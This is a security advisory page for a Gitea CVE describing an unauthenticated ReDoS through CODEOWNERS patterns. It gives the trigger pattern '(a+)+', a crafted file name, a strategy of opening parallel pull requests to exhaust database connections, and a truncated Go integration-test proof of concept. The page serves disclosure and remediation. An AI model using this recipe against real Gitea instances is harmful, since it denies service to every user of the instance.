A AegiFlow
HIGHCVSS 7.5EPSS 0.3%

CVE-2026-58421

Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

Published
2026-07-21
Modified
2026-07-21
EPSS percentile
25%
Aliases
GHSA-v96j-25gv-g2w9
Sources
github-advisory

Summary

This issue has been found by a security agent and review by myself. Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path. ### Who can trigger it Any registered user on the instance. The attacker needs only: 1. A repository they own (created via normal signup) 2. A `CODEOWNERS` file on the default branch containing malicious patterns 3. A pull request branch containing a file with a crafted name No elevated permissions, no admin access, no existing repositories required. ### How it is triggered The attacker pushes a CODEOWNERS file containing repeated instances of a catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request from a branch that contains a file named with a long string of repeated characters followed by a non-matching character (e.g. `aaaaaaaaaaaaaaaaaaaaaaaaaaX`). When Gitea processes the pull request, it evaluates each CODEOWNERS rule against each changed file path — with no timeout — causing the server to hang for the duration of the backtracking. ### Impact Every pull request creation runs this evaluation inside a database transaction. A hung evaluation holds that transaction open, tying up a database connection for the entire duration. With 11 rules in the CODEOWNERS file, a single pull request creation request takes over 30 seconds. An attacker opening multiple pull requests in parallel can exhaust the database connection pool, making the Gitea instance unresponsive to all users. ### Root cause The vulnerable regex is here: https://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886 ### PoC Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times. This is tested at commit `689ace1ce28fd74244b8aa335d9928cdbf6b22f9`. `tests/integration/pull_redos_test.go` ```go package integration // TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability // triggered via the full pull.NewPullRequest call chain. // // POST /api/v1/repos/{owner}/{repo}/pulls // -> routers/api/v1/repo/pull.go:CreatePullRequest // -> pull.NewPullRequest (services/pull/pull.go) // -> db.WithTx issues_model.NewPullRequest PullRequestCodeOwnersReview rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking) // // The attacker controls both sides of the match: // - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout) // - PR changed file: "aaa...X" forces O(2^N) backtracking states import ( "fmt" "net/http" "net/url" "strings" "testing" "time" auth_model "gitea.dev/models/auth" user_model "gitea.dev/models/user" "gitea.dev/models/unittest" "gitea.dev/modules/git" api "gitea.dev/modules/structs" repo_service "gitea.dev/services/repository" files_service "gitea.dev/services/repository/files" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) { onGiteaRun(t, func(t *testing.T, u *url.URL) { user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2}) repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{ Name: "redos-codeowners", Readme: "Default", AutoInit: true, ObjectFormatName: git.Sha1ObjectFormat.Name(), DefaultBranch: "main", }, true) require.NoError(t, err) // Push malicious CODEOWNERS to the default branch. // 11 identical rules × 1 changed file

Affected packages

EcosystemPackageAffected versionsFixed versions
Gocode.gitea.io/gitea1.26.4

Remediation: Upgrade to 1.26.4 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.

EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.